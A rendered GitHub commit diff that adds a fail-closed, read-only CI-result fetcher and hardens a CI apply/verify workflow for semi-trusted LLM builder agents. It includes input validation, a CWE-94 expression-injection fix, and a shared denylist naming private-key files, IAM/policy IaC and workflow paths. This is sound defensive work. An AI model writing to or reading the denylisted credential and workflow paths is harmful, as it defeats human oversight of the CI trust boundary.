feat(agent-team): P3-live CI apply/verify hardening + ci_fetcher (gate-passed, provisioning-gated) (#17)

* feat(agent-team): read-only CI-result fetcher for P3 verify gate (opt-in, inert)

ci_fetcher.py: fail-closed CiResultFetcher reading the GitHub Actions run
conclusion via a read-only PAT (AGENT_TEAM_CI_READ_TOKEN→GITHUB_TOKEN), returns
{run_id,conclusion,diff_hash} or None on any error. Data-fetcher only — ci_gate
owns the verdict; never writes, no OIDC/AWS, never reads patch artifacts.
coordinator gains opt-in gated_build_verify_wiring() composing it via
bind_ci_result_fetcher; NOT wired into the default run-team.py path. 20 tests.

* harden(agent-team): P3 apply/verify workflow — GitHub App token, CWE-94, fail-closed

Decision-1 auth model: gate-and-pr uses a GitHub App installation token
(pull-requests:write) behind the agent-apply environment; ALL OIDC/id-token/AWS
removed. Hardening: task_id env-indirection (CWE-94 — GitHub expands ${{ }} into
the run shell before exec, so %s/quoting is insufficient); run-id pinning on both
download-artifact; post-build denied-path check (build-hook writes into denied
paths fail the job); empty-hash fail-closed in BOTH the embedded gate (fixed a
real ''=='' pass bug) and ci_gate.py. App-token + draft-PR steps stay if:${{ false }}
until provisioning (App + environment + branch protection). +17 tests.

* harden(agent-team): apply P3-live security-gate fixes (GPT-4.1 xreview + sh-security-review)

BLOCK-1/FIX-4: gate-and-pr re-comments pull-requests:write + environment:agent-apply
(provisioning-time uncomment) and gains needs.guard/build-test=='success' job guard —
zero privilege until provisioning. BLOCK-2/3+FIX-5: ci_fetcher validates run_id (^[0-9]{1,20}$),
owner/repo (^[A-Za-z0-9_.-]{1,100}$), and fetched_id (int) — fail closed, no SSRF/path
injection. FIX-1: conclusion allowlist. FIX-3: api_root removed from public builder (no
injectable endpoint). INJ-02: post-build denied-path check uses NUL-delimited git output +
explicit rename parsing, no backslash mangling, non-UTF8=violation. INJ-03: all three trust-
control denylists unified to one 22-entry union + drift-guard test. Q1: documented run_id/
diff_hash trust source (dispatcher/ledger only). 884 tests, ruff clean. Privileged steps stay
if:${{ false }} until provisioning.

* build(security-review): prune .claude worktrees from deterministic scanners

Agent worktrees under .claude/worktrees/ are full repo copies; the cfn-lint
find|xargs template scan overflowed ('command line cannot be assembled') and the
pre-push hook fail-closed to BLOCK whenever a worktree was present. Prune .claude
in the cfn-lint find + semgrep/checkov excludes, and gitignore .claude/ so it is
never scanned or committed. Unblocks main-tree pushes during parallel agent work.
This commit is contained in:
Adam Moussa 2026-06-18 15:53:26 -04:00 • committed by GitHub
parent f09c94a821
commit 3d97139300
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
11 changed files with 1791 additions and 55 deletions

3
.gitignore vendored
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@ -10,3 +10,6 @@ __pycache__/
# Stray Atlassian Document Format exports left by an unrelated tool — not part of this repo.
.adf_final*.json
# Claude Code agent worktrees / local scratch (never scanned or committed)
.claude/

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@ -0,0 +1,365 @@
"""Real, read-only CI-result fetcher — the GATED-LIVE seam for VERIFY (§3.3.2 #4).
This module implements the production :data:`~agent_team.nodes.build_verify_subgraph.CiResultFetcher`
that the build->verify subgraph's VERIFY node injects once the §3.3.2 CI
trust-boundary clears ``/sh-security-review`` + the GPT-4.1 cross-review. Until
then the subgraph runs with the INERT default fetcher (``_no_ci_result`` -> the
gate BLOCKs and the task parks); binding THIS fetcher only gives the pure-code
gate (:func:`agent_team.ci_gate.evaluate_ci_gate`) an authenticated conclusion
to read — it never makes the LLM the pass authority.
What it is (and, just as importantly, what it is NOT):
* It is a **pure DATA fetcher.** Given the task ``state``, it reads
``state["run_id"]`` (and echoes ``state.get("diff_hash")``), calls the GitHub
Actions REST API ``GET /repos/{owner}/{repo}/actions/runs/{run_id}`` with a
**READ-ONLY** token, and returns the authenticated run ``conclusion`` as a
mapping ``{"run_id", "conclusion", "diff_hash"}``. The gate owns the verdict;
this module never derives pass/fail itself.
* It is **fail-closed.** ANY error — missing ``run_id``, missing token, 404,
auth failure, malformed JSON, a network/timeout error, an unexpected status —
returns ``None``. A ``None`` result makes the gate BLOCK (never a silent
pass), so a broken fetch parks the task for a human rather than shipping.
* It **never writes.** No ``POST``/``PATCH``, no ``git``, no patch apply, no
filesystem mutation. It performs exactly one read-only GET.
* It uses **no cloud credentials and no token-federation** — only a GitHub
read-only token, resolved at CALL time from the environment (matching the
prevailing transport idiom in :mod:`agent_team.transport.github_live`). It
NEVER reads a success/failure file the patch could have written (boundary 4).
Prevailing HTTP approach: mirrors :mod:`agent_team.transport.github_live` — a
thin ``requests`` session, deferred import (``requests`` is optional and may be
absent pre-deploy), call-time token resolution, and an injectable ``client`` for
testability. Unlike the poster, a missing token / missing ``requests`` here does
NOT raise: it fails closed to ``None`` so the gate BLOCKs (the fetcher's whole
contract is "no authenticated result -> None"). The dedicated read-only env var
``AGENT_TEAM_CI_READ_TOKEN`` is preferred, falling back to ``GITHUB_TOKEN``.
"""
from __future__ import annotations
import logging
import os
import re
from collections.abc import Mapping
from typing import Any
from agent_team.nodes.build_verify_subgraph import CiResultFetcher
__all__ = [
"CI_READ_TOKEN_ENV",
"GITHUB_API_ROOT",
"build_ci_result_fetcher",
"fetch_ci_result",
]
_LOG = logging.getLogger("agent_team.ci_fetcher")
# ───────────────────────────────────────────────────────────────────────────
# TRUST SOURCE (design §3.3.2, QUESTION-1). ``state["run_id"]`` and
# ``state["diff_hash"]`` are TRUSTED inputs to this fetcher and the pure-code
# gate: they MUST be written ONLY by the trusted dispatcher / ledger at dispatch
# time — NEVER by an LLM/builder/verifier node or by anything a candidate diff
# can influence. The dispatcher records the run id it dispatched the apply/verify
# workflow under (and the ledger-recorded diff hash) into task state; the LLM
# build/verify nodes only READ them. If that ever changes, the run_id format
# validation below (fail-closed) plus the gate's run-id EQUALITY check
# (:func:`agent_team.ci_gate.evaluate_ci_gate`, which compares the fetched run id
# against the dispatcher's ``expected_run_id``) are the defense: an attacker who
# could rewrite ``state["run_id"]`` to point at a different (passing) run would
# still have to match the dispatcher's expected_run_id, and a malformed/injected
# value fails the regex and returns None -> gate BLOCK.
# ───────────────────────────────────────────────────────────────────────────
# A GitHub Actions run id is a positive integer. Validate the state-supplied
# run_id against this BEFORE building any URL: a non-numeric value is either a
# bug or an injection attempt (it would be path-spliced into the API URL), so we
# fail closed (-> None -> gate BLOCK) rather than fetch an attacker-chosen path.
_RUN_ID_RE = re.compile(r"[0-9]{1,20}")
# owner / repo path segments. GitHub restricts these to a conservative charset;
# we validate both before URL construction so a crafted owner/repo cannot splice
# extra path segments / traversal into the GitHub API URL. Fail closed on miss.
_OWNER_REPO_RE = re.compile(r"[A-Za-z0-9_.-]{1,100}")
# Authenticated GitHub run conclusions we recognise. An unrecognised/missing
# conclusion is ambiguous and must fail closed here (the gate also BLOCKs on
# unknowns; validating at the fetcher makes the trust boundary explicit). Keep
# this in sync with agent_team.ci_gate's PASS + _FAILURE_CONCLUSIONS plus the
# benign non-failure values GitHub can return.
_ALLOWED_CONCLUSIONS: frozenset[str] = frozenset(
{
"success",
"failure",
"cancelled",
"skipped",
"timed_out",
"action_required",
"neutral",
"stale",
"startup_failure",
}
)
# The dedicated read-only token env var (preferred), falling back to the generic
# GITHUB_TOKEN (the idiom github_live uses). The token MUST be read-only — the
# fetcher only ever GETs; a write-scoped token here would be unnecessary blast
# radius (provisioning issues a read-only fine-grained PAT / read-only var).
CI_READ_TOKEN_ENV = "AGENT_TEAM_CI_READ_TOKEN"
_FALLBACK_TOKEN_ENV = "GITHUB_TOKEN"
GITHUB_API_ROOT = "https://api.github.com"
# Conservative default timeout for the single read-only GET. A hang must fail
# closed (-> None -> gate BLOCK), never wedge the verifier.
_DEFAULT_TIMEOUT_S = 15.0
def _resolve_read_token() -> str | None:
"""Resolve the read-only GitHub token at call time, or ``None``.
Prefers :data:`CI_READ_TOKEN_ENV`, falls back to ``GITHUB_TOKEN``. Returns
``None`` when neither is set so the fetcher fails closed (the caller maps a
missing token to a ``None`` result -> gate BLOCK), rather than raising.
"""
return os.environ.get(CI_READ_TOKEN_ENV) or os.environ.get(_FALLBACK_TOKEN_ENV)
def _build_session(token: str) -> Any:
"""Lazily construct a read-only ``requests.Session`` (deferred optional import).
Mirrors :func:`agent_team.transport.github_live._build_session` (deferred
``requests`` import, ``Authorization: Bearer`` + the API-version header). The
session is used for exactly one GET; no write verbs are ever issued.
Raises :class:`RuntimeError` only if ``requests`` is unavailable — the caller
catches it and fails closed to ``None`` so a pre-deploy environment without
the optional dependency simply BLOCKs (never a spurious pass).
"""
import requests # deferred: optional dependency (see module docstring)
session = requests.Session()
session.headers.update(
{
"Authorization": f"Bearer {token}",
"Accept": "application/vnd.github+json",
"X-GitHub-Api-Version": "2022-11-28",
}
)
return session
def fetch_ci_result(
state: Mapping[str, Any],
*,
owner: str,
repo: str,
client: Any = None,
api_root: str = GITHUB_API_ROOT,
timeout: float = _DEFAULT_TIMEOUT_S,
) -> dict[str, Any] | None:
"""Fetch the authenticated CI run conclusion as DATA, or ``None`` (fail-closed).
Reads ``state["run_id"]`` (required) and echoes ``state.get("diff_hash")``,
then GETs ``{api_root}/repos/{owner}/{repo}/actions/runs/{run_id}`` with the
read-only token and returns::
{"run_id": <str>, "conclusion": <str>, "diff_hash": <echoed-or-None>}
Returns ``None`` on ANY failure — no ``run_id`` in state, no resolvable
token, ``requests`` unavailable, a non-2xx status (404/401/403/...), a
malformed/absent JSON body, a missing ``conclusion``, or a network/timeout
error. ``None`` is the fail-closed signal: the pure-code gate treats it as
"no authenticated result" and BLOCKs, so a broken fetch parks the task. This
function NEVER derives the verdict (the gate owns pass/fail) and NEVER
writes.
``client`` injects a pre-built ``requests``-like session for tests (any
object with ``get(url, *, timeout) -> response`` exposing ``status_code``
and ``json()``). When omitted, a read-only session is built from the
resolved token.
"""
run_id = state.get("run_id")
if run_id is None or str(run_id) == "":
_LOG.warning("ci_fetcher: no run_id in state; failing closed to None")
return None
run_id = str(run_id)
# BLOCK-2: validate the run id BEFORE it is spliced into the API URL. A GitHub
# run id is a positive integer; anything else is a bug or a path-injection
# attempt -> fail closed. (See the TRUST SOURCE note: state["run_id"] is a
# trusted dispatcher input, but we validate it as defense-in-depth.)
if not _RUN_ID_RE.fullmatch(run_id):
_LOG.warning(
"ci_fetcher: run_id %r is not a valid integer run id; failing closed",
run_id,
)
return None
# BLOCK-3: validate owner/repo before URL construction so a crafted value
# cannot splice extra path segments / traversal into the GitHub API URL.
for _name, _value in (("owner", owner), ("repo", repo)):
if not _OWNER_REPO_RE.fullmatch(_value):
_LOG.warning(
"ci_fetcher: %s %r is not a valid GitHub path segment; failing closed",
_name,
_value,
)
return None
echoed_hash = state.get("diff_hash")
if client is None:
token = _resolve_read_token()
if not token:
_LOG.warning(
"ci_fetcher: no read-only token (%s/%s) set; failing closed to None",
CI_READ_TOKEN_ENV,
_FALLBACK_TOKEN_ENV,
)
return None
try:
client = _build_session(token)
except Exception: # noqa: BLE001 - any build failure fails closed
_LOG.warning("ci_fetcher: could not build HTTP client; failing closed")
return None
url = f"{api_root.rstrip('/')}/repos/{owner}/{repo}/actions/runs/{run_id}"
try:
response = client.get(url, timeout=timeout)
except Exception: # noqa: BLE001 - timeout / connection / any -> fail closed
_LOG.warning("ci_fetcher: GET %s failed (network/timeout); failing closed", url)
return None
status = _status_of(response)
if status is None or not (200 <= status < 300):
_LOG.warning("ci_fetcher: run GET returned status %r; failing closed", status)
return None
data = _json_of(response)
if not isinstance(data, dict):
_LOG.warning("ci_fetcher: run body was not a JSON object; failing closed")
return None
conclusion = data.get("conclusion")
# An in-progress run has conclusion=None; that is NOT an authenticated
# verdict, so fail closed (the gate would BLOCK on it anyway, but returning
# None keeps the "no result" contract clean and avoids echoing a non-verdict).
if conclusion is None or not isinstance(conclusion, str):
_LOG.info("ci_fetcher: run %s has no conclusion yet; failing closed", run_id)
return None
# FIX-1: allowlist the conclusion. GitHub returns a fixed set of conclusion
# strings; an unrecognised value is ambiguous (a new GitHub state, a typo, or
# an injected value) and must fail closed here rather than be laundered to the
# gate. (The gate also BLOCKs unknowns; this makes the boundary explicit.)
normalized_conclusion = conclusion.strip().lower()
if normalized_conclusion not in _ALLOWED_CONCLUSIONS:
_LOG.warning(
"ci_fetcher: run %s has unrecognised conclusion %r; failing closed",
run_id,
conclusion,
)
return None
# Bind the returned run_id to the run actually fetched (the API echoes id);
# fall back to the requested (already-validated) run_id. The gate
# independently re-checks this against expected_run_id, so this is provenance,
# not the trust decision.
#
# FIX-5: the API ``id`` must be an integer / integer-string before it is used
# as the result run id; we do NOT launder an arbitrary string. An int is
# accepted; a digit-only string is accepted; anything else falls back to the
# already-validated requested run_id rather than propagating an unvalidated
# value into the gate's run-id equality check.
fetched_id = data.get("id")
if isinstance(fetched_id, bool):
# bool is an int subclass; a JSON ``true``/``false`` id is not a run id.
result_run_id = run_id
elif isinstance(fetched_id, int):
result_run_id = str(fetched_id)
elif isinstance(fetched_id, str) and _RUN_ID_RE.fullmatch(fetched_id):
result_run_id = fetched_id
else:
result_run_id = run_id
return {
"run_id": result_run_id,
"conclusion": normalized_conclusion,
"diff_hash": echoed_hash,
}
def build_ci_result_fetcher(
*,
owner: str,
repo: str,
client: Any = None,
timeout: float = _DEFAULT_TIMEOUT_S,
) -> CiResultFetcher:
"""Build a :data:`CiResultFetcher` bound to ``owner``/``repo`` (GATED-LIVE seam).
Returns a single-argument ``state -> mapping | None`` callable shaped exactly
like the VERIFY node's injected ``ci_result_fetcher`` seam, closing over the
target ``owner``/``repo`` (and the optional injected ``client`` / ``timeout``).
Compose it with
:func:`agent_team.nodes.build_verify_subgraph.bind_ci_result_fetcher` (or the
opt-in :func:`agent_team.coordinator.gated_build_verify_wiring`) once the
§3.3.2 gate clears. It is read-only and fails closed (see
:func:`fetch_ci_result`); binding it does not enable any apply/verify
behaviour, it only gives the gate an authenticated conclusion to read.
FIX-3: the production path does NOT accept a caller-overridable ``api_root``.
The GitHub API host is hardcoded to :data:`GITHUB_API_ROOT` so a caller (and
anything that influences the coordinator's wiring) cannot redirect the
read-only GET at an attacker-controlled host. ``fetch_ci_result`` retains an
``api_root`` kwarg for unit tests only; it is unreachable from this production
builder (and therefore from :func:`agent_team.coordinator.gated_build_verify_wiring`).
"""
def fetcher(state: Mapping[str, Any]) -> dict[str, Any] | None:
return fetch_ci_result(
state,
owner=owner,
repo=repo,
client=client,
# api_root deliberately NOT forwarded: hardcoded GITHUB_API_ROOT in
# the production path (FIX-3). Only the test-only direct caller of
# fetch_ci_result may override it.
timeout=timeout,
)
return fetcher
def _status_of(response: Any) -> int | None:
"""Read the HTTP status from a ``requests``-like response, or ``None``.
Accepts ``status_code`` (``requests``) or ``status`` (a minimal fake).
Returns ``None`` if neither is present so the caller fails closed rather than
raising on an exotic object.
"""
for attr in ("status_code", "status"):
value = getattr(response, attr, None)
if value is not None:
try:
return int(value)
except (TypeError, ValueError):
return None
return None
def _json_of(response: Any) -> Any:
"""Parse the JSON body of a ``requests``-like response, or ``None`` on failure.
A malformed/absent body must fail closed (-> ``None`` -> the caller returns
``None`` -> gate BLOCK), never raise into the verifier node.
"""
parser = getattr(response, "json", None)
if not callable(parser):
return None
try:
return parser()
except Exception: # noqa: BLE001 - any JSON decode error fails closed
return None

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@ -39,6 +39,18 @@ Decision semantics (a diff "ships" only on an unambiguous authenticated pass):
* :data:`GateDecision.BLOCK` — a trust violation (denylist hit, hash mismatch,
run-id mismatch, missing/ambiguous authenticated conclusion). This is an
ALARM-worthy refuse-to-proceed, never a silent pass.
TRUST SOURCE (§3.3.2, QUESTION-1). ``state["run_id"]`` (the run id the fetcher
reads and the value compared against ``expected_run_id`` here) and
``state["diff_hash"]`` MUST be written ONLY by the trusted dispatcher / ledger at
dispatch time — NEVER by an LLM / builder / verifier node or by anything a
candidate diff can influence. The dispatcher records the run id it dispatched the
apply/verify workflow under (and the ledger-recorded diff hash); the LLM nodes
only read them. The gate's run-id EQUALITY check below (``actual_run_id`` vs the
dispatcher-supplied ``expected_run_id``) plus the fetcher's run_id format
validation are the defense if that assumption is ever broken: a tampered
``state["run_id"]`` would still have to equal the dispatcher's expected run id to
pass, and a malformed value fails closed.
"""
from __future__ import annotations
@ -85,12 +97,19 @@ class GateDecision(Enum):
# touches any of these is escalated to mandatory human + GPT cross-review, never
# auto-built — they are the mandatory-cross-review surface regardless. Globs are
# matched against POSIX-canonicalized repo-relative paths.
# INJ-03: this denylist is the UNION SUPERSET shared verbatim across all three
# trust-control copies — this tuple, the guard-job inline DENY_GLOBS, and the
# post-build inline DENY_GLOBS in ci/agent-team-apply-verify.yml. The three had
# drifted in BOTH directions (each carried entries the others lacked); they are
# now identical, and tests/test_apply_verify_workflow_hardening.py asserts the
# identity so any future drift fails CI. When editing one, edit all three.
DENYLIST_GLOBS: tuple[str, ...] = (
# CI workflow definitions — the "pwn request" surface.
".github/workflows/**",
".github/actions/**",
# Branch protection / ownership / dependency automation config.
".github/CODEOWNERS",
"**/CODEOWNERS",
"CODEOWNERS",
".github/dependabot.yml",
".github/dependabot.yaml",
@ -101,9 +120,15 @@ DENYLIST_GLOBS: tuple[str, ...] = (
"**/template.yaml",
"**/samconfig.toml",
"**/*.tf",
"**/*-stack.ts",
"**/*_stack.py",
"**/iam/**",
"**/policies/**",
"**/*iam*",
"**/policy*.json",
"**/*policy*.json",
"**/*.pem",
"**/*.key",
)
# Authenticated GitHub run conclusions that count as a recognised failure (the

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@ -68,6 +68,7 @@ __all__ = [
"Coordinator",
"build_verify_wiring",
"default_clarify_node_factory",
"gated_build_verify_wiring",
]
_LOG = logging.getLogger("agent_team.coordinator")
@ -254,6 +255,62 @@ def build_verify_wiring() -> tuple[
return build_node, verify_node, route_after_verify
def gated_build_verify_wiring(
*,
owner: str,
repo: str,
expected_run_id: str,
allowed_scope: list[str] | None = None,
diff_builder: Any = None,
ci_client: Any = None,
) -> tuple[
Callable[[PipelineState], "dict[str, Any]"],
Callable[[PipelineState], PipelineState],
Callable[[PipelineState], str],
]:
"""Compose the GATED-LIVE P3 build->verify subgraph (OPT-IN; held for the gate).
The live counterpart to :func:`build_verify_wiring`: it binds the REAL
read-only CI-result fetcher (:func:`agent_team.ci_fetcher.build_ci_result_fetcher`)
onto the VERIFY node so the pure-code gate has an authenticated conclusion to
read, and (optionally) a real ``diff_builder`` onto the BUILD node. The gate
still owns pass/fail — binding the fetcher only GIVES it a result, it can
never make the LLM the pass authority.
**This is OPT-IN and is deliberately NOT wired into the default
``run-team.py`` / ``serve`` path** (exactly like :func:`build_verify_wiring`).
It is the seam a leaf calls AFTER the §3.3.2 CI trust boundary clears
``/sh-security-review`` + the GPT-4.1 cross-review and the GitHub App +
``agent-apply`` environment are provisioned. Until then, importing or holding
this function changes nothing: the production coordinator passes
``build_verify_wiring=None``, so no P3 subgraph is assembled at all.
The CI fetcher is read-only and fails closed: a missing token / 404 / auth
failure / malformed body / timeout yields ``None`` and the gate BLOCKs (the
task parks). ``ci_client`` injects a test double; the real path builds a
read-only ``requests`` session at call time from the read-only token env var.
Lazy-imported (ci_fetcher pulls the subgraph + verifier leaves) for the same
import-hygiene reason as the other factories.
"""
from agent_team.ci_fetcher import build_ci_result_fetcher
from agent_team.nodes.build_verify_subgraph import (
make_build_node,
make_verify_node,
route_after_verify,
)
from agent_team.nodes.verifier import VerifierConfig
config = VerifierConfig(
expected_run_id=expected_run_id,
allowed_scope=allowed_scope,
)
fetcher = build_ci_result_fetcher(owner=owner, repo=repo, client=ci_client)
build_node = make_build_node(diff_builder=diff_builder)
verify_node = make_verify_node(config, ci_result_fetcher=fetcher)
return build_node, verify_node, route_after_verify
class Coordinator:
"""Owns the live Plane-2 runtime: graph + resume worker + transport (§3.3).

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@ -6,12 +6,20 @@ holds the **split-job CI apply/verify workflow** that turns a builder agent's
boundary, Phase P3 (§7.1) of `../../docs/r720-agent-team-design.md`.
> **STATUS: DEPLOY-GATED. NOT ENABLED, NOT PROVISIONED.** This is authored as
> files only. Per the design (§3.3.2, §7.1 P3) the workflow + its OIDC role must
> clear **BOTH `/sh-security-review` AND the mandatory GPT-4.1 cross-review**
> before deployment, because it is IaC/IAM + untrusted-input handling. The
> privileged draft-PR step is hard-disabled (`if: ${{ false }}`) and the OIDC
> `id-token`/`pull-requests: write` grants are left commented until those gates
> pass. Nothing here is wired to a live org repo.
> files only. Per the design (§3.3.2, §7.1 P3) the workflow must clear **BOTH
> `/sh-security-review` AND the mandatory GPT-4.1 cross-review** before
> deployment, because it is untrusted-input handling + a CI trust boundary. The
> privileged draft-PR step is hard-disabled (`if: ${{ false }}`); the ONLY
> remaining step to go live is the **provisioning flip** (create the GitHub App,
> the `agent-apply` environment with a required reviewer, and branch protection,
> then flip the step's `if:`). Nothing here is wired to a live org repo.
>
> **AUTH MODEL (LOCKED): GitHub App installation token — ZERO cloud credentials,
> no token-federation.** The privileged `gate-and-pr` job authenticates with a
> GitHub App installation token (`pull-requests: write`) minted at run time by
> SHA-pinned `actions/create-github-app-token`. There is **no AWS and no
> cloud-OIDC** anywhere in this workflow. The required human reviewer lives on
> the `agent-apply` GitHub Environment (configured at provisioning, not in YAML).
## Files
@ -22,7 +30,8 @@ boundary, Phase P3 (§7.1) of `../../docs/r720-agent-team-design.md`.
The filename is kebab-case per the handbook. Deployment target (later, after the
gates): promote into `Sea-Haven-Industries/.github` as a reusable workflow
(`engineering-handbook/cicd.md`); the Option-B OIDC apply path invokes it.
(`engineering-handbook/cicd.md`); the trusted apply path (which owns the GitHub
App write token) invokes it.
## The trust boundary (design §3.3.2)
@ -34,13 +43,17 @@ implements all five boundaries:
1. **Split CI — untrusted execution is credential-less.** The job that checks
out and runs the diff (`build-test`) runs with `permissions: contents: read`,
**no secrets, no OIDC, no write token**, and egress blocked
**no secrets, no App token, no write token**, and egress blocked
(harden-runner). The patch executes only there, where there is nothing to
steal and nothing to assume. Every privileged action (the eventual OIDC role,
the draft-PR open) runs in a **separate `gate-and-pr` job that never checks
out or executes patch-controlled code** — it consumes the build/test report
as **data only**. There is **no `pull_request_target` + head-ref checkout**
(the "pwn request" anti-pattern).
steal and nothing to assume. Every privileged action (the GitHub App token
mint, the draft-PR open) runs in a **separate `gate-and-pr` job that never
checks out or executes patch-controlled code** — it consumes the build/test
report as **data only**. There is **no `pull_request_target` + head-ref
checkout** (the "pwn request" anti-pattern). The `build-test` job also runs a
**post-build denied-path check**: after the build/test step, it diffs the
working tree against the committed patched baseline and fails if a build hook
(setup.py, conftest, postinstall, Makefile) wrote into the trust-control
surface or out of declared scope — closing the build-hook write vector.
2. **Trust-control-surface denylist (CI-side hard fail).** The `guard` job
rejects any diff that touches `.github/workflows/**`, IAM/policy IaC
(CDK/SAM/Terraform), branch-protection / `CODEOWNERS` / Dependabot config, or
@ -88,7 +101,7 @@ workflow_dispatch (task_id, diff_artifact_name, expected_diff_hash, declared_sco
(boundaries 2,3) re-hash + denylist + scope. Never applies it.
│ (needs)
▼
build-test contents:read, no secrets, no OIDC, egress blocked —
build-test contents:read, no secrets, no App token, egress blocked —
(boundary 1) the ONLY job that applies + runs the UNTRUSTED patch.
│ (needs) Emits a NON-authoritative report artifact.
▼
@ -112,6 +125,7 @@ tag in a trailing comment:
| `actions/download-artifact` | `fa0a91b85d4f404e444e00e005971372dc801d16` | v4.1.8 |
| `actions/upload-artifact` | `b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882` | v4.4.3 |
| `actions/setup-python` | `0b93645e9fea7318ecaed2b359559ac225c90a2b` | v5.3.0 |
| `actions/create-github-app-token` | `5d869da34e18e7287c1daad50e0b8ea0f506ce69` | v1.11.0 |
| `step-security/harden-runner` | `0080882f6c36860b6ba35c610c98ce87d4e2f26f` | v2.10.2 |
## Relationship to the foundation
@ -146,10 +160,25 @@ gate is "verified" is therefore backed by that test, not by authoring alone.)
Before this ships (§3.3.2, §7.1 P3):
1. `/sh-security-review` over this workflow (IaC + untrusted-input handling).
2. Mandatory **GPT-4.1 cross-review** of the workflow **and** the Option-B OIDC
role it will assume (IAM change).
3. A documented, **exercised** rollback (remove the role, revert the workflow).
4. Only then: uncomment the `id-token` / `pull-requests: write` grants, enable
the draft-PR step, and promote to `Sea-Haven-Industries/.github`. Draft PRs
only; never auto-merge.
1. `/sh-security-review` over this workflow (untrusted-input handling + CI
trust boundary).
2. Mandatory **GPT-4.1 cross-review** of the workflow. (No IAM/cloud role is
involved — the auth model is a GitHub App installation token, not OIDC/AWS.)
3. **Provisioning** (the single remaining step to go live):
- Create the GitHub App with a single permission (`pull-requests: write`),
install it on the target repo, and store its id + private key as the
`AGENT_APPLY_APP_ID` / `AGENT_APPLY_APP_PRIVATE_KEY` secrets.
- Create the `agent-apply` GitHub Environment with a **required reviewer**
(and optional wait timer) — this is the human gate, configured on the
Environment, not in YAML.
- Configure **branch protection** on the target branch (required checks +
human approval).
- Issue the **read-only** token for the CI-result fetcher
(`AGENT_TEAM_CI_READ_TOKEN`, falling back to `GITHUB_TOKEN`).
4. A documented, **exercised** rollback (uninstall the App, remove the
environment, revert the workflow).
5. Only then: flip the App-token + draft-PR steps' `if: ${{ false }}` to the
live condition documented in the workflow
(`always() && needs.guard.result=='success' &&
needs.build-test.result=='success' && steps.gate.outputs.gate=='pass'`), and
promote to `Sea-Haven-Industries/.github`. Draft PRs only; never auto-merge.

View file

@ -6,10 +6,21 @@
# mandatory GPT-4.1 cross-review before it is deployed (it is IaC/IAM +
# untrusted-input handling). Until then it lives here as a reviewable artifact.
#
# AUTH MODEL (LOCKED, P3-live): the privileged job authenticates via a GitHub
# App INSTALLATION TOKEN with `pull-requests: write` — there are ZERO cloud
# credentials and no cloud token-federation anywhere in this workflow. The
# required human-reviewer gate lives on the `agent-apply` GitHub Environment
# (configured at provisioning, not in YAML).
#
# Deployment target (later, after the gates): promote into
# Sea-Haven-Industries/.github as a reusable workflow (engineering-handbook
# cicd.md) and have the Option-B OIDC apply path call it. The filename stays
# kebab-case per the handbook.
# cicd.md) and have the apply path call it. The filename stays kebab-case per
# the handbook. PROVISIONING (the ONLY remaining step to go live) creates the
# GitHub App + its installation, the `agent-apply` environment with a required
# reviewer + branch protection, then flips the draft-PR step's `if:` (see the
# provisioning runbook). Flipping live against a non-existent environment is an
# unprotected hole, so the flip is a deliberate provisioning action, not authored
# here.
#
# ─────────────────────────────────────────────────────────────────────────────
# TRUST BOUNDARY (design §3.3.2). The builder agents are semi-trusted: an LLM
@ -18,8 +29,8 @@
#
# 1. Split CI. The job that checks out + executes the patch (`build-test`)
# runs credential-less (`permissions: contents: read`, no secrets, no
# OIDC, no write token, egress-restricted). Every privileged action runs
# in a SEPARATE job (`gate-and-pr`) that NEVER checks out or runs
# App token, no write token, egress-restricted). Every privileged action
# runs in a SEPARATE job (`gate-and-pr`) that NEVER checks out or runs
# patch-controlled code; it consumes the build/test report as DATA only.
# This is NOT `pull_request_target` with a head-ref checkout (pwn request).
# 2. Trust-control-surface denylist. `guard` hard-fails (CI-side, not only the
@ -44,8 +55,8 @@
name: agent-team-apply-verify
# Manual / API trigger only. The Option-B OIDC apply path (a trusted, separate
# workflow that owns the write token) invokes this with the candidate-diff
# Manual / API trigger only. The trusted, separate apply path (which owns the
# GitHub App write token) invokes this with the candidate-diff
# artifact + the ledger-recorded hash + the declared scope. There is NO
# pull_request / pull_request_target trigger: the patch must never run in a
# context that carries write or secret scope (boundary 1).
@ -116,6 +127,13 @@ jobs:
with:
name: ${{ inputs.diff_artifact_name }}
path: ./_incoming
# Pin the source run so an artifact can never be sourced from a
# DIFFERENT run (an attacker who can upload an artifact in some other
# run must not be able to substitute it here). This is the current
# run; download-artifact@v4 restricts to the same run by default, but
# pinning run-id makes that explicit and audit-visible. No
# github-token is set: this job is credential-less and same-run only.
run-id: ${{ github.run_id }}
- name: Verify diff integrity + trust-control denylist + scope
id: verify
@ -144,23 +162,32 @@ jobs:
# an auto-reject; such a diff is escalated to mandatory human + GPT
# cross-review, never auto-built (these are the mandatory-cross-review
# surface regardless). Matched against canonicalized POSIX paths. ---
# INJ-03: UNION SUPERSET, IDENTICAL across all three trust-control
# copies (this guard inline list, the post-build inline list below, and
# agent_team.ci_gate.DENYLIST_GLOBS). test_apply_verify_workflow_hardening
# asserts the three are byte-for-byte equal so drift fails CI. Edit all
# three together.
DENY_GLOBS: tuple[str, ...] = (
".github/workflows/**",
".github/actions/**",
".github/CODEOWNERS",
"**/CODEOWNERS",
"CODEOWNERS",
".github/dependabot.yml",
".github/dependabot.yaml",
".github/settings.yml",
# IAM / policy / permission IaC (CDK / SAM / Terraform).
"**/template.yaml",
"**/template.yml",
"**/*.tf",
"**/cdk.json",
"**/template.yml",
"**/template.yaml",
"**/samconfig.toml",
"**/*.tf",
"**/*-stack.ts",
"**/*_stack.py",
"**/policy*.json",
"**/iam/**",
"**/policies/**",
"**/*iam*",
"**/policy*.json",
"**/*policy*.json",
"**/*.pem",
"**/*.key",
)
@ -341,6 +368,15 @@ jobs:
expected = os.environ["EXPECTED_DIFF_HASH"].strip().lower()
scope = [s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()]
# FAIL-CLOSED on an empty/missing expected hash BEFORE comparing.
# The recomputed `actual` is always a real sha256, so an empty
# `expected` already mismatches and fails — but an explicit guard
# makes the empty == empty invariant impossible to regress (e.g. if
# the comparison is ever refactored) and gives a clearer ALARM.
if not expected:
print("::error::empty/missing expected diff hash; refusing to bind (fail-closed)")
return 2
with open(diff_path, "rb") as fh:
raw = fh.read()
actual = hashlib.sha256(raw).hexdigest()
@ -410,7 +446,7 @@ jobs:
# ───────────────────────────────────────────────────────────────────────────
# JOB 2 — build-test (boundary 1). UNTRUSTED execution. This is the ONLY job
# that applies + runs the patch. It is credential-less: contents:read only, no
# secrets, no OIDC, no write token, egress blocked. There is nothing here to
